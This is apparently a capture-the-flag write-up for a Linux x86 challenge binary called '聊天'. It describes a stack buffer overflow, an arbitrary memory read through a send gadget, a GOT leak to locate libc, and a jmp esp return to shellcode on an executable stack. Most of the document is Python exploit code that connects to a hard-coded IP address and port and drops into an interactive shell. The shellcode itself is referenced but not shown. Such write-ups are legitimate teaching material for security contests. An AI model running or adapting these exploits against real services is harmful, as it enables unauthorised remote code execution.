Overview
聊天 is an Linux x86 binary that uses signal handlers to print a bunch of Chinese before overflowing a buffer. With a send gadget giving us an arbitrary read, we can find a jmp esp
in libc and jump to our shellcode on the (executable) stack.
Writeup
We reverse the binary, and see that main forks, drops privileges, and then raises signals until eventually the function below is called.
We have a buffer overflow and hence control of eip
, but unfortunately nothing else. Luckily, there is a call to send
elsewhere in the code (that also loads the correct fd
, etc for us).
This works for us, since edx = 0x800
at the return of our vulnerable function. We thus have a way to read 0x800
bytes from an arbitrary memory address
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#!/usr/bin/python
import struct
import socket
import telnetlib
import sys
import string
def read_mem(addr):
print "Sleeping before reading %x" % addr
time.sleep(.5)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('128.238.66.218', 4842))
# s.connect(('127.0.0.1', 4842))
f = s.makefile('rw', bufsize=0)
send_buf = 0x804890e
payload = (
"A"*326 +
struct.pack('I', send_buf) +
"AAAA"*11 +
struct.pack('I', addr) +
"BBBB"
)
f.write(payload)
x = f.read(116)
f.flush()
buf = f.read(0x800)
f.close()
return buf
Our general strategy at this point will be: read the GOT entries to find a libc address, then search in libc for a jmp esp
gadget, then use that to return to our shellcode (jmp esp
works since we know that NX is disabled). Here is the solution:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
#!/usr/bin/python
import struct
import socket
import telnetlib
import sys
import string
def find_jmp_esp():
gots = read_mem(0x804B000) # The offset of the got entries.
setsockopt = struct.unpack('I', gots[:4])[0]
libc_guess = setsockopt - 0xEC6D0 # Where setsockopt is located on my ubuntu machine.
buf_base = libc_guess - (libc_guess % 0x1000)
buf = read_mem(buf_base)
while buf:
jmp_esp = buf.find("\xff\xe4") # jmp esp
if jmp_esp != -1:
return buf_base + jmp_esp
else:
buf_base += len(buf)
buf = read_mem(buf_base)
return 0
def solve(jmp_esp):
payload = (
"A"*326 +
struct.pack('I', jmp_esp)+
shellcode
)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('128.238.66.218', 4842))
# s.connect(('127.0.0.1', 4842))
f = s.makefile('rw', bufsize=0)
f.write(payload)
t = telnetlib.Telnet()
t.sock = s
t.interact()
jmp_esp = find_jmp_esp()
print "Found jmp_esp at %x" % jmp_esp
solve(jmp_esp)